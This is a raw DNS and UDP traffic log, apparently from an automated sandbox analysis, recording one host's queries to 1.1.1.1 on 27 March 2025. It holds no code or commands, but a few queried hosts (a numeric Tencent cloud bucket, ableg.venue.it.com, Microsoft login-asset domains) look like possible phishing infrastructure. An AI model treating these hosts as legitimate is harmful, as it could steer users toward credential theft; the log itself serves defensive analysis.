Mar 27, 2025 18:52:36.984195948 CET	57449	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:37.072366953 CET	53	57449	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:41.898396015 CET	51776	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:41.898650885 CET	62571	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:41.987207890 CET	53	51776	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:41.987221003 CET	53	62571	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:42.909640074 CET	50832	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:42.997874022 CET	53	50832	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:44.942404032 CET	53654	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:45.032787085 CET	53	53654	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:45.952186108 CET	53654	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:46.040426970 CET	53	53654	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:46.956507921 CET	53654	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:47.045123100 CET	53	53654	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:48.971668005 CET	53654	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:49.059948921 CET	53	53654	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:52.973078966 CET	53654	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:53.061428070 CET	53	53654	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:57.893954039 CET	59388	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:57.894104004 CET	61544	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:57.982352972 CET	53	59388	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:57.982413054 CET	53	61544	1.1.1.1	192.168.2.4
Mar 27, 2025 18:52:58.905086040 CET	53256	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:52:58.993370056 CET	53	53256	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:00.941040993 CET	53278	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:01.029316902 CET	53	53278	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:01.941732883 CET	53278	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:02.034105062 CET	53	53278	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:02.946310997 CET	53278	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:03.034789085 CET	53	53278	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:03.265639067 CET	53	59270	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:04.957746983 CET	53278	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:05.046267033 CET	53	53278	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:08.967273951 CET	53278	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:09.055943012 CET	53	53278	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:09.890547991 CET	51884	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:09.890872955 CET	53313	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:09.978967905 CET	53	51884	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:09.979046106 CET	53	53313	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:10.909842968 CET	64669	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:10.910063028 CET	62984	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:10.998295069 CET	53	64669	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:10.998326063 CET	53	62984	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:12.941626072 CET	56502	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:13.030181885 CET	53	56502	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:13.956120968 CET	56502	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:14.044344902 CET	53	56502	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:14.968153954 CET	56502	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:15.056638002 CET	53	56502	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:16.974157095 CET	56502	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:17.062720060 CET	53	56502	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:20.978380919 CET	56502	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:21.066804886 CET	53	56502	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:24.991302013 CET	64533	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:24.991472960 CET	52748	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:25.089107990 CET	53	64533	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:25.089160919 CET	53	52748	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:25.904840946 CET	61634	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:25.905215979 CET	61402	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:25.993410110 CET	53	61634	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:25.993505955 CET	53	61402	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:26.010054111 CET	52823	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:26.010282040 CET	60251	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:26.098598957 CET	53	52823	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:26.098665953 CET	53	60251	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:26.929033041 CET	53867	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:27.017451048 CET	53	53867	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:28.039501905 CET	55535	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:28.128597021 CET	53	55535	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:28.953425884 CET	65255	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:29.041966915 CET	53	65255	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:29.044825077 CET	55535	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:29.133234978 CET	53	55535	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:29.954854012 CET	65255	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:30.043541908 CET	53	65255	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:30.051054955 CET	55535	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:30.139435053 CET	53	55535	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:30.957071066 CET	65255	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:31.045620918 CET	53	65255	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:32.058168888 CET	55535	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:32.148236036 CET	53	55535	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:32.967591047 CET	65255	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:33.055866957 CET	53	65255	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:36.069340944 CET	55535	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:36.157747984 CET	53	55535	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:36.974541903 CET	65255	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:37.063028097 CET	53	65255	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:40.977999926 CET	62799	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:40.978250980 CET	62421	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:41.067054033 CET	53	62799	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:41.067118883 CET	53	62421	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:41.900536060 CET	54138	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:41.900738001 CET	61651	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:41.989244938 CET	53	54138	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:41.989310980 CET	53	61651	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:41.989742041 CET	56763	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:42.080004930 CET	53	56763	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:42.926018953 CET	52509	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:43.014588118 CET	53	52509	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:44.023763895 CET	56538	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:44.112169027 CET	53	56538	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:44.958272934 CET	52680	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:45.032133102 CET	56538	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:45.046538115 CET	53	52680	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:45.120445013 CET	53	56538	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:45.972482920 CET	52680	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:46.034502029 CET	56538	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:46.061187029 CET	53	52680	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:46.122764111 CET	53	56538	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:46.989002943 CET	52680	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:47.077435970 CET	53	52680	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:48.042110920 CET	56538	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:48.131381989 CET	53	56538	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:48.994096041 CET	52680	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:49.083549023 CET	53	52680	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:52.049164057 CET	56538	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:52.137399912 CET	53	56538	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:53.003388882 CET	52680	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:53.091968060 CET	53	52680	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:57.005738020 CET	57886	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:57.005953074 CET	59050	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:57.094017982 CET	53	57886	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:57.094042063 CET	53	59050	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:57.898902893 CET	62972	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:57.899277925 CET	53764	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:57.987226963 CET	53	62972	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:57.987377882 CET	53	53764	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:58.027234077 CET	51784	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:58.117808104 CET	53	51784	1.1.1.1	192.168.2.4
Mar 27, 2025 18:53:58.911298990 CET	62600	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:53:58.999660015 CET	53	62600	1.1.1.1	192.168.2.4
Mar 27, 2025 18:54:00.051800013 CET	54496	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:54:00.140328884 CET	53	54496	1.1.1.1	192.168.2.4
Mar 27, 2025 18:54:00.944418907 CET	53366	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:54:01.034588099 CET	53	53366	1.1.1.1	192.168.2.4
Mar 27, 2025 18:54:01.053040981 CET	54496	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:54:01.141349077 CET	53	54496	1.1.1.1	192.168.2.4
Mar 27, 2025 18:54:01.956979990 CET	53366	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:54:02.046304941 CET	53	53366	1.1.1.1	192.168.2.4
Mar 27, 2025 18:54:02.068214893 CET	54496	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:54:02.164359093 CET	53	54496	1.1.1.1	192.168.2.4
Mar 27, 2025 18:54:02.961491108 CET	53366	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:54:03.050429106 CET	53	53366	1.1.1.1	192.168.2.4
Mar 27, 2025 18:54:04.079938889 CET	54496	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:54:04.168374062 CET	53	54496	1.1.1.1	192.168.2.4
Mar 27, 2025 18:54:04.967658043 CET	53366	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:54:05.055922985 CET	53	53366	1.1.1.1	192.168.2.4
Mar 27, 2025 18:54:08.083067894 CET	54496	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:54:08.171298027 CET	53	54496	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 27, 2025 18:50:53.242685080 CET	192.168.2.4	1.1.1.1	c25a	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 27, 2025 18:50:51.657718897 CET	192.168.2.4	1.1.1.1	0x9ad6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:51.657871008 CET	192.168.2.4	1.1.1.1	0xe207	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 27, 2025 18:50:52.684525013 CET	192.168.2.4	1.1.1.1	0x863c	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.684705973 CET	192.168.2.4	1.1.1.1	0xdd13	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 27, 2025 18:50:52.685269117 CET	192.168.2.4	1.1.1.1	0xd029	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.685399055 CET	192.168.2.4	1.1.1.1	0xe1c2	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 27, 2025 18:50:52.686151981 CET	192.168.2.4	1.1.1.1	0x75b5	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.686327934 CET	192.168.2.4	1.1.1.1	0x178a	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Mar 27, 2025 18:50:52.688045025 CET	192.168.2.4	1.1.1.1	0x3e54	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.688221931 CET	192.168.2.4	1.1.1.1	0x28bd	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Mar 27, 2025 18:50:52.691462040 CET	192.168.2.4	1.1.1.1	0xb698	Standard query (0)	1419993777-1317754460.cos.ap-singapore.myqcloud.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.691678047 CET	192.168.2.4	1.1.1.1	0x6917	Standard query (0)	1419993777-1317754460.cos.ap-singapore.myqcloud.com	65	IN (0x0001)	false
Mar 27, 2025 18:50:55.693295956 CET	192.168.2.4	1.1.1.1	0xfa3d	Standard query (0)	ableg.venue.it.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:55.693296909 CET	192.168.2.4	1.1.1.1	0xb2ed	Standard query (0)	ableg.venue.it.com	65	IN (0x0001)	false
Mar 27, 2025 18:50:55.697572947 CET	192.168.2.4	1.1.1.1	0x1ed8	Standard query (0)	res.cloudinary.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:55.697694063 CET	192.168.2.4	1.1.1.1	0x1fa8	Standard query (0)	res.cloudinary.com	65	IN (0x0001)	false
Mar 27, 2025 18:50:56.250349998 CET	192.168.2.4	1.1.1.1	0x4c34	Standard query (0)	res.cloudinary.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:56.250524044 CET	192.168.2.4	1.1.1.1	0x1880	Standard query (0)	res.cloudinary.com	65	IN (0x0001)	false
Mar 27, 2025 18:51:00.523032904 CET	192.168.2.4	1.1.1.1	0x8811	Standard query (0)	ableg.venue.it.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:00.523163080 CET	192.168.2.4	1.1.1.1	0x491	Standard query (0)	ableg.venue.it.com	65	IN (0x0001)	false
Mar 27, 2025 18:51:03.550040007 CET	192.168.2.4	1.1.1.1	0xd05c	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:03.550410032 CET	192.168.2.4	1.1.1.1	0x3c52	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Mar 27, 2025 18:51:04.053308964 CET	192.168.2.4	1.1.1.1	0x8dc8	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:04.053481102 CET	192.168.2.4	1.1.1.1	0xc8f6	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Mar 27, 2025 18:51:53.896991968 CET	192.168.2.4	1.1.1.1	0x2e8b	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:53.897142887 CET	192.168.2.4	1.1.1.1	0x16c9	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 27, 2025 18:51:54.923269987 CET	192.168.2.4	1.1.1.1	0x34bb	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:54.923417091 CET	192.168.2.4	1.1.1.1	0x91fc	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 27, 2025 18:51:56.955010891 CET	192.168.2.4	1.1.1.1	0x8b84	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:57.969799042 CET	192.168.2.4	1.1.1.1	0x8b84	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:58.969907045 CET	192.168.2.4	1.1.1.1	0x8b84	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:00.985547066 CET	192.168.2.4	1.1.1.1	0x8b84	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:04.985559940 CET	192.168.2.4	1.1.1.1	0x8b84	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:09.890669107 CET	192.168.2.4	1.1.1.1	0x3ea5	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:09.890878916 CET	192.168.2.4	1.1.1.1	0x9ffe	Standard query (0)	beacons.gvt2.com	65	IN (0x0001)	false
Mar 27, 2025 18:52:10.907347918 CET	192.168.2.4	1.1.1.1	0xfee7	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:12.943240881 CET	192.168.2.4	1.1.1.1	0x242d	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:13.944807053 CET	192.168.2.4	1.1.1.1	0x242d	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:14.955152035 CET	192.168.2.4	1.1.1.1	0x242d	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:16.959846973 CET	192.168.2.4	1.1.1.1	0x242d	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:20.971771002 CET	192.168.2.4	1.1.1.1	0x242d	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:25.902662039 CET	192.168.2.4	1.1.1.1	0xb2f9	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:25.902889013 CET	192.168.2.4	1.1.1.1	0x563d	Standard query (0)	beacons2.gvt2.com	65	IN (0x0001)	false
Mar 27, 2025 18:52:26.924801111 CET	192.168.2.4	1.1.1.1	0x8f64	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:28.959319115 CET	192.168.2.4	1.1.1.1	0x3305	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:29.960613966 CET	192.168.2.4	1.1.1.1	0x3305	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:30.972954988 CET	192.168.2.4	1.1.1.1	0x3305	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:32.973102093 CET	192.168.2.4	1.1.1.1	0x3305	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:36.984195948 CET	192.168.2.4	1.1.1.1	0x3305	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:41.898396015 CET	192.168.2.4	1.1.1.1	0xe3b4	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:41.898650885 CET	192.168.2.4	1.1.1.1	0xcbe7	Standard query (0)	beacons3.gvt2.com	65	IN (0x0001)	false
Mar 27, 2025 18:52:42.909640074 CET	192.168.2.4	1.1.1.1	0x8373	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:44.942404032 CET	192.168.2.4	1.1.1.1	0xbf62	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:45.952186108 CET	192.168.2.4	1.1.1.1	0xbf62	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:46.956507921 CET	192.168.2.4	1.1.1.1	0xbf62	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:48.971668005 CET	192.168.2.4	1.1.1.1	0xbf62	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:52.973078966 CET	192.168.2.4	1.1.1.1	0xbf62	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:57.893954039 CET	192.168.2.4	1.1.1.1	0x8ae8	Standard query (0)	beacons4.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:57.894104004 CET	192.168.2.4	1.1.1.1	0xb918	Standard query (0)	beacons4.gvt2.com	65	IN (0x0001)	false
Mar 27, 2025 18:52:58.905086040 CET	192.168.2.4	1.1.1.1	0x1e05	Standard query (0)	beacons4.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:00.941040993 CET	192.168.2.4	1.1.1.1	0x5b75	Standard query (0)	beacons4.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:01.941732883 CET	192.168.2.4	1.1.1.1	0x5b75	Standard query (0)	beacons4.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:02.946310997 CET	192.168.2.4	1.1.1.1	0x5b75	Standard query (0)	beacons4.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:04.957746983 CET	192.168.2.4	1.1.1.1	0x5b75	Standard query (0)	beacons4.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:08.967273951 CET	192.168.2.4	1.1.1.1	0x5b75	Standard query (0)	beacons4.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:09.890547991 CET	192.168.2.4	1.1.1.1	0xf9e2	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:09.890872955 CET	192.168.2.4	1.1.1.1	0x47ff	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 27, 2025 18:53:10.909842968 CET	192.168.2.4	1.1.1.1	0x18e6	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:10.910063028 CET	192.168.2.4	1.1.1.1	0x5907	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 27, 2025 18:53:12.941626072 CET	192.168.2.4	1.1.1.1	0xe647	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:13.956120968 CET	192.168.2.4	1.1.1.1	0xe647	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:14.968153954 CET	192.168.2.4	1.1.1.1	0xe647	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:16.974157095 CET	192.168.2.4	1.1.1.1	0xe647	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:20.978380919 CET	192.168.2.4	1.1.1.1	0xe647	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:24.991302013 CET	192.168.2.4	1.1.1.1	0x1958	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:24.991472960 CET	192.168.2.4	1.1.1.1	0x79a7	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 27, 2025 18:53:25.904840946 CET	192.168.2.4	1.1.1.1	0x206c	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:25.905215979 CET	192.168.2.4	1.1.1.1	0x4ef4	Standard query (0)	beacons.gvt2.com	65	IN (0x0001)	false
Mar 27, 2025 18:53:26.010054111 CET	192.168.2.4	1.1.1.1	0x4ff5	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:26.010282040 CET	192.168.2.4	1.1.1.1	0xf55	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 27, 2025 18:53:26.929033041 CET	192.168.2.4	1.1.1.1	0xbc37	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:28.039501905 CET	192.168.2.4	1.1.1.1	0xe0	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:28.953425884 CET	192.168.2.4	1.1.1.1	0x9cfb	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:29.044825077 CET	192.168.2.4	1.1.1.1	0xe0	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:29.954854012 CET	192.168.2.4	1.1.1.1	0x9cfb	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:30.051054955 CET	192.168.2.4	1.1.1.1	0xe0	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:30.957071066 CET	192.168.2.4	1.1.1.1	0x9cfb	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:32.058168888 CET	192.168.2.4	1.1.1.1	0xe0	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:32.967591047 CET	192.168.2.4	1.1.1.1	0x9cfb	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:36.069340944 CET	192.168.2.4	1.1.1.1	0xe0	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:36.974541903 CET	192.168.2.4	1.1.1.1	0x9cfb	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:40.977999926 CET	192.168.2.4	1.1.1.1	0xef6b	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:40.978250980 CET	192.168.2.4	1.1.1.1	0xfd72	Standard query (0)	beacons.gvt2.com	65	IN (0x0001)	false
Mar 27, 2025 18:53:41.900536060 CET	192.168.2.4	1.1.1.1	0x5334	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:41.900738001 CET	192.168.2.4	1.1.1.1	0x6380	Standard query (0)	beacons2.gvt2.com	65	IN (0x0001)	false
Mar 27, 2025 18:53:41.989742041 CET	192.168.2.4	1.1.1.1	0x7443	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:42.926018953 CET	192.168.2.4	1.1.1.1	0x9fb3	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:44.023763895 CET	192.168.2.4	1.1.1.1	0xc53c	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:44.958272934 CET	192.168.2.4	1.1.1.1	0xc48b	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:45.032133102 CET	192.168.2.4	1.1.1.1	0xc53c	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
